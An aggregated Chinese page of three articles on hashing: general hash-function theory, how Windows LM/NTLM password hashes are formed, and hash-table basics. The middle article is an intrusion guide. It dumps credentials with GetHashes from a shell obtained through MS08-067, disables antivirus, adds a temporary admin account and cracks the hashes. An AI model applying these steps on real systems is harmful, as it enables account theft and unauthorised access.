精华内容
下载资源
问答
  • Hash

    2018-03-24 21:40:49
    Hash (散列函数) 编辑 锁定 Hash,一般翻译做“散列”,也直接音译为“哈希”的,就是把任意长度的输入(又叫做预映射, pre-image),通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种...

    Hash

    (散列函数)

    编辑 锁定
    Hash,一般翻译做“散列”,也有直接音译为“哈希”的,就是把任意长度的 输入(又叫做预映射, pre-image),通过散列算法,变换成固定长度的 输出,该输出就是散列值。这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,所以不可能从散列值来确定唯一的输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的 消息摘要的函数。
    HASH 函数(计算机算法领域)
    中文名
    散列
    外文名
    Hash
    音    译
    哈希
    表    示
    任意长度的 输入

    Hash基本概念

    编辑
    * 若结构中存在和关键字K相等的记录,则必定在f(K)的存储位置上。由此,不需比较便可直接取得所查记录。称这个对应关系f为 散列函数(Hash function),按这个事先建立的表为 散列表
    * 对不同的关键字可能得到同一散列地址,即key1≠key2,而f(key1)=f(key2),这种现象称 碰撞。具有相同函数值的关键字对该散列函数来说称做 同义词。综上所述,根据散列函数H(key)和处理冲突的方法将一组关键字映象到一个有限的连续的地址集(区间)上,并以关键字在地址集中的“象” 作为记录在表中的存储位置,这种表便称为 散列表,这一映象过程称为 散列造表散列,所得的存储位置称 散列地址
    * 若对于 关键字集合中的任一个关键字,经 散列函数映象到地址集合中任何一个地址的概率是相等的,则称此类散列函数为 均匀散列函数(Uniform Hash function),这就是使关键字经过散列函数得到一个“随机的地址”,从而减少冲突。

    Hash性质

    所有 散列函数都有如下一个基本特性:如果两个散列值是不相同的(根据同一函数),那么这两个散列值的原始输入也是不相同的。这个特性是散列函数具有确定性的结果。但另一方面,散列函数的输入和输出不是一一对应的,如果两个散列值相同,两个输入值很可能是相同的,但不绝对肯定二者一定相等(可能出现哈希碰撞)。输入一些数据计算出散列值,然后部分改变输入值,一个具有强混淆特性的散列函数会产生一个完全不同的散列值。
    典型的散列函数都有无限定义域,比如任意长度的字节字符串,和有限的值域,比如固定长度的比特串。在某些情况下,散列函数可以设计成具有相同大小的定义域和值域间的一一对应。一一对应的散列函数也称为排列。可逆性可以通过使用一系列的对于输入值的可逆“混合”运算而得到。

    Hash常用HASH函数

    ·直接取余法:f(x):= x mod maxM ; maxM一般是不太接近 2^t 的一个质数。
    ·乘法取整法:f(x):=trunc((x/maxX)*maxlongit) mod maxM,主要用于实数。
    ·平方取中法:f(x):=(x*x div 1000 ) mod 1000000); 平方后取中间的,每位包含信息比较多。

    Hash构造方法

    散列函数能使对一个数据序列的访问过程更加迅速有效,通过散列函数, 数据元素将被更快地定位。
    (详细构造方法可以参考 hash函数中的【哈希表的构造方法】)
    1. 直接寻址法:取关键字或关键字的某个线性函数值为散列地址。即H(key)=key或H(key) = a·key + b,其中a和b为常数(这种散列函数叫做自身函数)
    2. 数字分析法
    3. 平方取中法
    4. 折叠法
    5. 随机数法
    6. 除留余数法:取关键字被某个不大于 散列表表长m的数p除后所得的余数为散列地址。即 H(key) = key MOD p,p<=m。不仅可以对关键字直接取模,也可在折叠、平方取中等运算之后取模。对p的选择很重要,一般取素数或m,若p选的不好,容易产生同义词。
     

    Hash处理冲突方法

    1. 开放寻址法;Hi=(H(key) + di) MOD m,i=1,2,…,k(k<=m-1),其中H(key)为 散列函数,m为 散列表长,di为增量序列,可有下列三种取法:
    1). di=1,2,3,…,m-1,称线性探测再散列;
    2). di=1^2,(-1)^2,2^2,(-2)^2,(3)^2,…,±(k)^2,(k<=m/2)称二次探测再散列;
    3). di= 伪随机数序列,称伪随机探测再散列。
    2. 再 散列法:Hi=RHi(key),i=1,2,…,k RHi均是不同的散列函数,即在同义词产生地址冲突时计算另一个散列函数地址,直到冲突不再发生,这种方法不易产生“聚集”,但增加了计算时间。
    3. 链地址法(拉链法)
    4. 建立一个公共溢出区

    Hash查找性能分析

    散列表的查找过程基本上和造表过程相同。一些关键码可通过 散列函数转换的地址直接找到,另一些关键码在散列函数得到的地址上产生了冲突,需要按处理冲突的方法进行查找。在介绍的三种处理冲突的方法中,产生冲突后的查找仍然是给定值与关键码进行比较的过程。所以,对散列表查找效率的量度,依然用 平均查找长度来衡量。
    查找过程中,关键码的比较次数,取决于产生冲突的多少,产生的冲突少,查找效率就高,产生的冲突多,查找效率就低。因此,影响产生冲突多少的因素,也就是影响查找效率的因素。影响产生冲突多少有以下三个因素:
    1.散列函数是否均匀;
    2. 处理冲突的方法;
    3. 散列表的装填因子。
    散列表的装填因子定义为:α= 填入表中的元素个数/散列表的长度
    α是散列表装满程度的标志因子。由于表长是定值,α与“填入表中的元素个数”成正比,所以,α越大,填入表中的元素较多,产生冲突的可能性就越大;α越小,填入表中的元素较少,产生冲突的可能性就越小。
    实际上,散列表的 平均查找长度是装填因子α的 函数,只是不同处理冲突的方法有不同的函数。
    了解了hash基本定义,就不能不提到一些著名的hash算法, MD5SHA-1可以说是目前应用最广泛的 Hash算法,而它们都是以 MD4为基础设计的。
    常用hash算法的介绍:
    (1)MD4
    MD4(RFC 1320)是 MIT 的 Ronald L. Rivest在 1990 年设计的,MD 是 Message Digest( 消息摘要) 的缩写。它适用在32位 字长的处理器上用高速软件实现——它是基于 32 位操作数的位操作来实现的。
    (2) MD5
    MD5(RFC 1321)是 Rivest 于1991年对MD4的改进版本。它对输入仍以512位分组,其输出是4个32位字的级联,与 MD4 相同。MD5比MD4来得复杂,并且速度较之要慢一点,但更安全,在抗分析和抗差分方面表现更好。
    (3) SHA-1及其他
    SHA1是由NIST NSA设计为同DSA一起使用的,它对长度小于264的输入,产生长度为160bit的散列值,因此抗穷举(brute-force)性更好。SHA-1 设计时基于和MD4相同原理,并且模仿了该算法。

    Hash散列函数应用

    由于 散列函数的应用的多样性,它们经常是专为某一应用而设计的。例如, 加密散列函数假设存在一个要找到具有相同散列值的原始输入的敌人。一个设计优秀的加密散列函数是一个“单向”操作:对于给定的散列值,没有实用的方法可以计算出一个原始输入,也就是说很难伪造。为加密散列为目的设计的函数,如MD5,被广泛的用作检验散列函数。这样软件下载的时候,就会对照验证代码之后才下载正确的文件部分。此代码有可能因为环境因素的变化,如机器配置或者IP地址的改变而有变动。以保证源文件的安全性。
    错误监测和修复函数主要用于辨别数据被随机的过程所扰乱的事例。当散列函数被用于 校验和的时候,可以用相对较短的散列值来验证任意长度的数据是否被更改过。
    错误校正
    使用一个 散列函数可以很直观的检测出数据在传输时发生的错误。在数据的发送方,对将要发送的数据应用散列函数,并将计算的结果同原始数据一同发送。在数据的接收方,同样的散列函数被再一次应用到接收到的数据上,如果两次散列函数计算出来的结果不一致,那么就说明数据在传输的过程中某些地方有错误了。这就叫做 冗余校验
    对于错误校正,假设相似扰动的分布接近最小(a distribution of likely perturbations is assumed at least approximately)。对于一个信息串的微扰可以被分为两类,大的(不可能的)错误和小的(可能的)错误。我们对于第二类错误重新定义如下,假如给定 H(x) 和 x+s,那么只要s足够小,我们就能有效的计算出x。那样的 散列函数被称作错误校正编码。这些错误校正编码有两个重要的分类:循环冗余校验和 里德所罗门码。
    语音识别
    对于像从一个已知列表中匹配一个MP3文件这样的应用,一种可能的方案是使用传统的散列函数——例如MD5,但是这种方案会对时间平移、CD读取错误、不同的音频压缩算法或者音量调整的实现机制等情况非常敏感。使用一些类似于MD5的方法有利于迅速找到那些严格相同(从音频文件的二进制数据来看)的音频文件,但是要找到全部相同(从音频文件的内容来看)的音频文件就需要使用其他更高级的算法了。
    那些并不紧随IT工业潮流的人往往能反其道而行之,对于那些微小差异足够 鲁棒散列函数确实存在。现存的绝大多数散列算法都是不够鲁棒的,但是有少数散列算法能够达到辨别从嘈杂房间里的扬声器里播放出来的音乐的鲁棒性。有一个实际的例子是Shazam[1]服务。用户可以用电话机拨打一个特定的号码,并将电话机的话筒靠近用于播放音乐的扬声器。该项服务会分析正在播放的音乐,并将它于存储在数据库中的已知的散列值进行比较。用户就能够收到被识别的音乐的曲名(需要收取一定的费用)
    信息安全
    Hash算法在信息安全方面的应用主要体现在以下的3个方面:
    (1) 文件校验
    我们比较熟悉的校验算法有 奇偶校验和CRC校验,这2种校验并没有抗 数据篡改的能力,它们一定程度上能检测并纠正数据传输中的信道误码,但却不能防止对数据的恶意破坏。
    MD5 Hash算法的"数字指纹"特性,使它成为目前应用最广泛的一种文件完整性 校验和(Checksum)算法,不少Unix系统有提供计算md5 checksum的命令。
    (2) 数字签名
    Hash 算法也是现代密码体系中的一个重要组成部分。由于 非对称算法的运算速度较慢,所以在数字签名协议中, 单向散列函数扮演了一个重要的角色。对 Hash 值,又称" 数字摘要"进行数字签名,在统计上可以认为与对文件本身进行数字签名是等效的。而且这样的协议还有其他的优点。
    (3) 鉴权协议
    如下的鉴权协议又被称作挑战--认证模式:在传输信道是可被侦听,但不可被篡改的情况下,这是一种简单而安全的方法。以上就是一些关于hash以及其相关的一些基本预备知识。

    Hash哈希函数

    (1)余数法:先估计整个哈希表中的表项目数目大小。然后用这个估计值作为除数去除每个原始值,得到商和余数。用余数作为哈希值。因为这种方法产生冲突的可能性相当大,因此任何搜索算法都应该能够判断冲突是否发生并提出取代算法。
    (2)折叠法:这种方法是针对原始值为数字时使用,将原始值分为若干部分,然后将各部分叠加,得到的最后四个数字(或者取其他位数的数字都可以)来作为哈希值。
    (3)基数转换法:当原始值是数字时,可以将原始值的数制基数转为一个不同的数字。例如,可以将十进制的原始值转为十六进制的哈希值。为了使哈希值的长度相同,可以省略高位数字。
    (4)数据重排法:这种方法只是简单的将原始值中的数据打乱排序。比如可以将第三位到第六位的数字逆序排列,然后利用重排后的数字作为哈希值。
    哈希函数并不通用,比如在数据库中用能够获得很好效果的哈希函数,用在密码学或错误校验方面就未必可行。在密码学领域有几个著名的哈希函数。这些函数包括MD2、MD4以及MD5,利用散列法将数字签名转换成的哈希值称为信息摘要(message-digest),另外还有 安全散列算法(SHA),这是一种标准算法,能够生成更大的(60bit)的信息摘要,有点儿类似于MD4算法。 [1]  

    Hash文件的hash值

    大家都知道emule是基于P2P (Peer-to-peer的缩写,指的是对等体网络下客户到客户文件传输的软件), 它采用了"多源文件传输协议”( MFTP,the Multisource FileTransfer Protocol)。在协议中,定义了一系列传输、压缩和打包还有积分的标准,emule 对于每个文件都有md5-hash的算法设置,这使得该文件独一无二,并且在整个网络上都可以追踪得到。
    MD5-Hash-文件的数字文摘通过Hash函数计算得到。不管文件长度如何,它的Hash函数计算结果是一个固定长度的数字。与 加密算法不同,这一个Hash算法是一个不可逆的 单向函数。采用安全性高的Hash算法,如MD5、SHA时,两个不同的文件几乎不可能得到相同的Hash结果。因此,一旦文件被修改,就可检测出来。
    当我们的文件放到emule里面进行共享发布的时候, emule会根据 hash算法自动生成这个文件的hash值,他就是这个文件唯一的身份标志,它包含了这个文件的基本信息,然后把它提交到所连接的服务器。当有他人想对这个文件提出下载请求的时候, 这个hash值可以让他人知道他正在下载的文件是不是就是他所想要的。尤其是在文件的其他属性被更改之后(如名称等)这个值就更显得重要。而且服务器还提供了,这个文件当前所在的用户的地址,端口等信息,这样emule就知道到哪里去下载了。
    一般来讲我们要搜索一个文件,emule在得到了这个信息后,会向被添加的服务器发出请求,要求得到有相同hash值的文件。而服务器则返回持有这个文件的用户信息。这样我们的客户端就可以直接的和拥有那个文件的用户沟通,看看是不是可以从他那里下载所需的文件。
    对于emule中文件的hash值是固定的,也是唯一的,它就相当于这个文件的信息摘要,无论这个文件在谁的机器上,他的hash值都是不变的,无论过了多长时间,这个值始终如一,当我们在进行文件的下载上传过程中,emule都是通过这个值来确定文件。

    Hashhash文件

    我们经常在emule日志里面看到,emule正在hash文件,这里就是利用了hash算法的 文件校验性这个功能了,文章前面已经说了一些这些功能,其实这部分是一个非常复杂的过程,在ftp,bt等软件里面都是用的这个基本原理,emule里面是采用文件分块传输,这样传输的每一块都要进行对比校验,如果错误则要进行重新下载,这期间这些相关信息写入met文件,直到整个任务完成,这个时候part文件进行重新命名,然后使用move命令,把它传送到incoming文件里面,然后met文件自动删除,所以我们有的时候会遇到hash文件失败,就是指的是met里面的信息出了错误不能够和part文件匹配,另外有的时候开机也要疯狂hash,有两种情况一种是你在第一次使用,这个时候要hash提取所有文件信息,还有一种情况就是上一次你 非法关机,那么这个时候就是要进行排错校验了。
    关于hash的算法研究,一直是信息科学里面的一个前沿,尤其在 网络技术普及的今天,他的重要性越来越突出,其实我们每天在网上进行的信息交流安全验证,我们在使用的操作系统 密钥原理,里面都有它的身影,特别对于那些研究信息安全有兴趣的朋友,这更是一个打开信息世界的钥匙,他在hack世界里面也是一个研究的焦点。

    Hashuserhash

    道理同上,当我们在第一次使用emule的时候,emule会自动生成一个值,这个值也是唯一的,它是我们在emule世界里面的标志,只要你不卸载,不删除config,你的userhash值也就永远不变,积分制度就是通过这个值在起作用,emule里面的积分保存,身份识别,都是使用这个值,而和你的id和你的用户名无关,你随便怎么改这些东西,你的userhash值都是不变的,这也充分保证了公平性。其实他也是一个信息摘要,只不过保存的不是文件信息,而是我们每个人的信息。

    Hash散列表

    编辑
    散列表散列函数的一个主要应用,使用散列表能够快速的按照关键字查找数据记录。(注意:关键字不是像在加密中所使用的那样是秘密的,但它们都是用来“解锁”或者访问数据的。)例如,在英语字典中的关键字是英文单词,和它们相关的记录包含这些单词的定义。在这种情况下,散列函数必须把按照字母顺序排列的字符串映射到为散列表的内部 数组所创建的索引上。
    散列表散列函数的几乎不可能/不切实际的理想是把每个关键字映射到唯一的索引上(参考完美散列),因为这样能够保证直接 访问表中的每一个数据。
    一个好的散列函数(包括大多数 加密散列函数)具有均匀的真正随机输出,因而平均只需要一两次探测(依赖于装填因子)就能找到目标。同样重要的是,随机 散列函数几乎不可能出现非常高的冲突率。但是,少量的可以估计的冲突在实际状况下是不可避免的(参考生日悖论)。
    在很多情况下,heuristic散列函数所产生的冲突比随机散列函数少的多。Heuristic函数利用了相似关键字的相似性。例如,可以设计一个heuristic函数使得像FILE0000.CHK,FILE0001.CHK,FILE0002.CHK,等等这样的文件名映射到表的连续指针上,也就是说这样的序列不会发生冲突。相比之下,对于一组好的关键字性能出色的随机散列函数,对于一组坏的关键字经常性能很差,这种坏的关键字会自然产生而不仅仅在攻击中才出现。性能不佳的 散列函数表意味着查找操作会退化为费时的线性搜索。

    Hash扩展

    编辑
    MD5、SHA1的破解
    2004年8月17日,在美国 加州圣芭芭拉召开的国际密码大会上,山东大学 王小云教授在国际会议上首次宣布了她及她的研究小组的研究成果——对 MD5、HAVAL-128、MD4和 RIPEMD四个著名 密码算法的破译结果。次年二月宣布破解 SHA-1密码。

    Hash命令描述

    编辑
    Linux命令——hash
    hash命令用来显示、添加和清除 哈希表。该命令的语法格式如下所示。

    Hash语法

    hash [-l] [-r] [-p <path> <name>] [-t <command>]

    Hash选项说明

    选项
    说明
    -l
    显示哈希表,包括路径
    -r
    清除哈希表
    -p <path> <name>
    向哈希表中增加内容
    -t <command>
    显示指定命令的完整路径

    HashHASH命令

    hash 每次传输完 数据缓冲区中的数据后就显示一个#号
    展开全文
  • 使用GetHashes软件获取Windows系统Hash密码值 陈小兵 摘要对入侵者来说,获取...Windows系统中的Hash密码值主要LM-HASH以及NTLM-HASH值两部分构成,一旦入侵者获取了系统的Hash值,通过LC5以及彩虹表等破解工具...

    使用GetHashes软件获取Windows系统Hash密码值

    陈小兵
    摘要 对入侵者来说,获取Windows的口令是整个攻击过程至关重要的一环,拥有系统原来用户的口令,将使得内网渗透和守控更加容易。Windows系统中的Hash密码值主要有LM-HASH以及NTLM-HASH值两部分构成,一旦入侵者获取了系统的Hash值,通过LC5以及彩虹表等破解工具可以很快的获取系统的密码。为此安天365团队([url]www.antian365.com[/url])特别针对系统口令攻击与防范展开专题进行研究,本文主要作为其中的一个子课题,探讨如何使用Gethashes工具来获取系统的Hash值,并对Hash值的生成原理等知识进行了介绍,最后还介绍了一些有关Hash破解方面的技巧。

    一、Hash基本知识

    1Hash定义

    Hash,一般翻译为“散列”,也有直接音译为“哈希”的,就是把任意长度的输入(又叫做预映射,pre-image),通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,而不可能从散列值来唯一的确定输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。

    2Hash的应用

    HASH主要用于信息安全领域中加密算法,它把一些不同长度的信息转化成杂乱的128位的编码里,叫做HASH值。也可以说,Hash就是找到一种数据内容和数据存放地址之间的映射关系。

    3hash算法在密码上的应用

    MD5  SHA1 可以说是目前应用最广泛的Hash算法,而它们都是以 MD4 为基础设计的。那么他们都是什么意思呢?这里简单说一下:
    1MD4
    MD4(RFC 1320) MIT  Ronald L. Rivest  1990 年设计的,MD Message Digest 的缩写。它适用在32位字长的处理器上用高速软件实现,它是基于 32 位操作数的位操作来实现的。
    2 MD5
    MD5(RFC 1321) Rivest1991年对MD4的改进版本。它仍以512位分组来输入,其输出是432位字的级联,与MD4 相同。MD5MD4来得复杂,并且速度较之要慢一点,但更安全,在抗分析和抗差分方面表现更好
    3SHA1 及其他
    SHA1是由NIST NSA设计为同DSA一起使用的,它对长度小于264的输入,产生长度为160bit的散列值,因此抗穷举(brute-force)性更好。SHA-1 设计时基于和MD4相同原理,并且模仿了该算法。
    Hash算法在信息安全方面的应用主要体现在以下的3个方面:
    1 文件校验
    我们比较熟悉的校验算法有奇偶校验和CRC校验,这2种校验并没有抗数据篡改的能力,它们一定程度上能检测并纠正数据传输中的信道误码,但却不能防止对数据的恶意破坏。 MD5 Hash算法的“数字指纹”特性,使它成为目前应用最广泛的一种文件完整性校验和(Checksum)算法,不少Unix系统有提供计算md5 checksum的命令。
    2)数字签名
    Hash 算法也是现代密码体系中的一个重要组成部分。由于非对称算法的运算速度较慢,所以在数字签名协议中,单向散列函数扮演了一个重要的角色。对Hash值,又称“数字摘要”进行数字签名,在统计上可以认为与对文件本身进行数字签名是等效的。而且这样的协议还有其他的优点。
    3)鉴权协议
    鉴权协议又被称作挑战--认证模式:在传输信道是可被侦听,但不可被篡改的情况下,这是一种简单而安全的方法。

    二、WindowsHash密码值

    1. Windows系统下的hash密码格式

    Windows系统下的hash密码格式为:用户名称:RID:LM-HASH:NT-HASH值,例如:
    Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示
    用户名称为:Administrator
    RID为:500
    LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE
    NT-HASH值为:683020925C5D8569C23AA724774CE6CC

    2.WindowsLM Hash值生成原理

    假设明文口令是“Welcome”,首先全部转换成大写“WELCOME”,再做将口令字符串大写转后后的字符串变换成二进制串:
    WELCOME -> 57454C434F4D4500000000000000
    技巧:可以将明文口令复制到UltraEdit编辑器中使用二进制方式查看即可获取口令的二进制串。
    说明:如果明文口令经过大写变换后的二进制字符串不足14字节,则需要在其后添加0x00补足14字节。然后切割成两组7字节的数据,分别经str_to_key()函数处理得到两组8字节数据:
    57454C434F4D45 -str_to_key()-> 56A25288347A348A
    00000000000000 -str_to_key()-> 0000000000000000
    这两组8字节数据将做为DESKEY对魔术字符串“KGS!@#$%”进行标准DES加密
    "KGS!@#$%" -> 4B47532140232425
    56A25288347A348A -4B47532140232425进行标准DES加密-> C23413A8A1E7665F
    0000000000000000 -4B47532140232425进行标准DES加密-> AAD3B435B51404EE
    将加密后的这两组数据简单拼接,就得到了最后的LM Hash
    LM Hash: C23413A8A1E7665FAAD3B435B51404EE
    关于str_to_key()函数见最后附录1

    3. WindowsNTLM Hash生成原理

    IBM设计的LM Hash算法存在几个弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,NTLM Hash应运而生。假设明文口令是“123456”,首先转换成Unicode字符串,与LM Hash算法不同,这次不需要添加0x00补足14字节
    "123456" -> 310032003300340035003600
    ASCII串转换成Unicode串时,使用little-endian序,微软在设计整个SMB协议时就没考虑过big-endian序,ntoh*()hton*()函数不宜用在SMB报文解码中。0x80之前的标准ASCII码转换成Unicode码,就是简单地从0x??变成0x00??。此类标准ASCII串按little-endian序转换成Unicode串,就是简单地在原有每个字节之后添加0x00。对所获取的Unicode串进行标准MD4单向哈希,无论数据源有多少字节,MD4固定产生128-bit的哈希值,
    16字节310032003300340035003600 -进行标准MD4单向哈希-> 32ED87BDB5FDC5E9CBA88547376818D4
    就得到了最后的NTLM Hash
    NTLM Hash: 32ED87BDB5FDC5E9CBA88547376818D4
    LM Hash算法相比,明文口令大小写敏感,无法根据NTLM Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"KGS!@#$%"MD4是真正的单向哈希函数,穷举作为数据源出现的明文,难度较大。

    三、使用GetHashes获取Windows系统的Hash密码值

    GetHashes目前最高版本是v1.4,它是InsidePro公司早期的一款Hash密码获取软件,其公司地址为:[url]http://www.InsidePro.com[/url],该公司还有“SAMInside”、“PasswordsPro”以及“Extreme GPU Bruteforcer”三款密码破解软件。

    1GetHashes命令使用格式

           GetHashes <SAM registry file> [System key file] Or GetHashes $Local
    一般使用       GetHashes $Local”来获取系统的Hash密码值,该命令仅在system权限下才能执行成功。一般根据个人爱好,可以将“GetHashes.exe”工具软件命名为其它名称,例如在后面案例中,就将其命名为“getpw”。

    2.使用GetHashes获取系统Hash值实例

       GetHashes重命名为getpw,然后将其复制到欲获取hash密码值的系统盘中,然后执行“getpw $local”,如图1所示,顺利获取其密码Hash值,在本案例中使用的是RadminTelnet,单击“文本”-“保存为”将结果保存为一个新文件,然后使用UltraEdit编辑器进行编辑,仅仅保存Hash密码值部分,后面可使用LC5导入Hash密码值即可破解系统的密码值。
    获取系统Hash
    注意:
    1)使用“GetHashes”来获取系统的Hash密码值,必须要在System权限下,也就是在反弹shell或者telnet下。
    2)如果系统中安装有杀毒软件或者防火墙,有可能由于杀毒软件和防火墙的保护而导致密码获取失败。通过研究发现,由于Gethashes软件威力巨大,主要用在入侵过程中获取系统的Hash密码值,因此绝大多少杀毒软件已经将GetHashes软件加入到病毒库中,如图2所示,是Castlecops网站提供的关于各大杀毒软件针对GetHashes所做的病毒库版本以及更新结果。
    杀毒软件已经将Gethashes作为病毒处理
    3InsidePro公司在其网站上还提供了一个Hash产生器,通过输入一些参数值能够生成经过某种加密算法处理的口令密码值,如图3所示,有兴趣的朋友可以去尝试,该功能在研究系统的Hash密码值生成中可以进行相互验证。
    3 Hash生成器
    4Hash密码值在线查询
         在网站[url]http://hash.insidepro.com/[/url]中还可以在线查询Hash密码值的原始明文口令,如图4所示,将获取的MD5加密后的Hash值输入后,单击“Search”按钮,如果数据库中存在则会在下面给出查询结果。
    4在线破解Hash密码值

    2.使用GetHashes获取系统Hash值技巧

       使用GetHashes来获取系统的Hash值一般是在获得了系统的部分或者全部控制权限,通常是在新漏洞利用工具出来后,例如Ms08067漏洞利用工具,当存在Ms0867漏洞时,通过使用Ms08067漏洞利用工具获得存在漏洞计算机的一个反弹Shell,然后再将“GetHashes”软件上传到系统中来执行“GetHashes $Local”命令。对GetHashes工具的使用,笔者将一些经验技巧进行总结。
    (一)在获得反弹Shell的情况下,首先查看系统是否存在杀毒软件;如果存在,则尝试是否可以关闭,如果不能关闭,则放弃使用GetHashes来获取Hash密码值,转向第二步。
    (二)查看系统是什么系统,是否开启3389远程终端,如果未开启3389终端,可否直接开启3389终端。如果可以利用3389终端,则直接添加一个具有管理员权限的用户,然后使用用户登录到系统。
    (三)关闭杀毒软件,再次通过shell或者其他控制软件的telnet来执行“GetHashes $Local”命令来获取Hash密码值,然后删除新添加到用户。
        安天365团队 [url]http://www.antian365.com[/url])欢迎社会各界朋友提供安全事件线索,将免费为提供线索的朋友进行安全检测。

    附录1 str_to_key()函数

    str_to_key()函数,的C语言描述程序:
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    /*
    读取形如"AABBCCDDEEFF"这样的16进制数字串,主调者自己进行形参的边界检查
    */
    static void readhexstring ( const unsigned char *src, unsigned char *dst, unsigned int len )
    {
        unsigned int  i;
        unsigned char str[3];
     
        str[2] = '\0';
        for ( i = 0; i < len; i++ )
        {
            str[0] = src[ i * 2     ];
            str[1] = src[ i * 2 + 1 ];
            dst[i] = ( unsigned char )strtoul( str, NULL, 16 );
        }
        return;
    }  /* end of readhexstring */
     
    /*
    * from The Samba Team's source/libsmb/smbdes.c
    */
    static void str_to_key ( const unsigned char *str, unsigned char *key )
    {
        unsigned int i;
     
        key[0] = str[0] >> 1;
        key[1] = ( ( str[0] & 0x01 ) << 6 ) | ( str[1] >> 2 );
        key[2] = ( ( str[1] & 0x03 ) << 5 ) | ( str[2] >> 3 );
        key[3] = ( ( str[2] & 0x07 ) << 4 ) | ( str[3] >> 4 );
        key[4] = ( ( str[3] & 0x0F ) << 3 ) | ( str[4] >> 5 );
        key[5] = ( ( str[4] & 0x1F ) << 2 ) | ( str[5] >> 6 );
        key[6] = ( ( str[5] & 0x3F ) << 1 ) | ( str[6] >> 7 );
        key[7] = str[6] & 0x7F;
        for ( i = 0; i < 8; i++ )
        {
            key[i] = ( key[i] << 1 );
        }
        return;
    }  /* end of str_to_key */
     
    int main ( int argc, char * argv[] )
    {
        unsigned int  i;
        unsigned char buf_0[21];
        unsigned char buf_1[24];
     
        if ( argc != 2 )
        {
            fprintf( stderr, "Usage: %s <hexadecimal string>\n", argv[0] );
            return( EXIT_FAILURE );
        }
        memset( buf_0, 0, sizeof( buf_0 ) );
        memset( buf_1, 0, sizeof( buf_1 ) );
        i = strlen( argv[1] ) / 2;
        readhexstring( argv[1], buf_0, i );
        for ( i = 0; i < sizeof( buf_0 ); i++ )
        {
            fprintf( stderr, "%02X", buf_0[i] );
        }
        fprintf( stderr, "\n" );
        str_to_key( buf_0, buf_1 );
        str_to_key( buf_0 + 7, buf_1 + 8 );
        str_to_key( buf_0 + 14, buf_1 + 16 );
        for ( i = 0; i < sizeof( buf_1 ); i++ )
        {
            fprintf( stderr, "%02X", buf_1[i] );
        }
        fprintf( stderr, "\n" );
        return( EXIT_SUCCESS );
    }  /* end of main */

    附录相关免费资源

    [url]http://www.antian365.com/bbs/attachment.php?aid=464&k=[/url]2f319ed67b141d944d8b0c9514df17b7&t=1228015436

    参考文献

    1[url]http://baike.baidu.com/view/604021.htm[/url]
    2[url]http://www.insidepro.com[/url]



     本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/116471
    展开全文
  • hash

    2017-10-07 10:29:31
    散列表,它是基于快速存取的角度设计的,也是一种典型的“空间换时间”的做法。顾名思义,该数据结构可以理解为一个线性表,...散列表(Hash table,也叫哈希表),是根据关键码值(Key value)而直接进行访问的数据

    转自:http://blog.csdn.net/zxycode007/article/details/6999984

    散列表,它是基于快速存取的角度设计的,也是一种典型的“空间换时间”的做法。顾名思义,该数据结构可以理解为一个线性表,但是其中的元素不是紧密排列的,而是可能存在空隙。

    散列表(Hash table,也叫哈希表),是根据关键码值(Key value)而直接进行访问的数据结构。也就是说,它通过把关键码值映射到表中一个位置来访问记录,以加快查找的速度。这个映射函数叫做散列函数,存放记录的数组叫做散列表。

    比如我们存储70个元素,但我们可能为这70个元素申请了100个元素的空间。70/100=0.7,这个数字称为负载因子。我们之所以这样做,也 是为了“快速存取”的目的。我们基于一种结果尽可能随机平均分布的固定函数H为每个元素安排存储位置,这样就可以避免遍历性质的线性搜索,以达到快速存 取。但是由于此随机性,也必然导致一个问题就是冲突。所谓冲突,即两个元素通过散列函数H得到的地址相同,那么这两个元素称为“同义词”。这类似于70个 人去一个有100个椅子的饭店吃饭。散列函数的计算结果是一个存储单位地址,每个存储单位称为“桶”。设一个散列表有m个桶,则散列函数的值域应为 [0,m-1]。
          解决冲突是一个复杂问题。冲突主要取决于:
    (1)散列函数,一个好的散列函数的值应尽可能平均分布。
    (2)处理冲突方法。
    (3)负载因子的大小。太大不一定就好,而且浪费空间严重,负载因子和散列函数是联动的。
          解决冲突的办法:
         (1)线性探查法:冲突后,线性向前试探,找到最近的一个空位置。缺点是会出现堆积现象。存取时,可能不是同义词的词也位于探查序列,影响效率。
         (2)双散列函数法:在位置d冲突后,再次使用另一个散列函数产生一个与散列表桶容量m互质的数c,依次试探(d+n*c)%m,使探查序列跳跃式分布。
    常用的构造散列函数的方法

      散列函数能使对一个数据序列的访问过程更加迅速有效,通过散列函数,数据元素将被更快地定位:

      1. 直接寻址法:取关键字或关键字的某个线性函数值为散列地址。即H(key)=key或H(key) = a?key + b,其中a和b为常数(这种散列函数叫做自身函数)

      2. 数字分析法:分析一组数据,比如一组员工的出生年月日,这时我们发现出生年月日的前几位数字大体相 同,这样的话,出现冲突的几率就会很大,但是我们发现年月日的后几位表示月份和具体日期的数字差别很大,如果用后面的数字来构成散列地址,则冲突的几率会 明显降低。因此数字分析法就是找出数字的规律,尽可能利用这些数据来构造冲突几率较低的散列地址。

      3. 平方取中法:取关键字平方后的中间几位作为散列地址。

      4. 折叠法:将关键字分割成位数相同的几部分,最后一部分位数可以不同,然后取这几部分的叠加和(去除进位)作为散列地址。

      5. 随机数法:选择一随机函数,取关键字的随机值作为散列地址,通常用于关键字长度不同的场合。

      6. 除留余数法:取关键字被某个不大于散列表表长m的数p除后所得的余数为散列地址。即 H(key) = key MOD p, p<=m。不仅可以对关键字直接取模,也可在折叠、平方取中等运算之后取模。对p的选择很重要,一般取素数或m,若p选的不好,容易产生同义词。
    查找的性能分析

      散列表的查找过程基本上和造表过程相同。一些关键码可通过散列函数转换的地址直接找到,另一些关键码在散列函数得到的地址上产生了冲突,需要按 处理冲突的方法进行查找。在介绍的三种处理冲突的方法中,产生冲突后的查找仍然是给定值与关键码进行比较的过程。所以,对散列表查找效率的量度,依然用平 均查找长度来衡量。

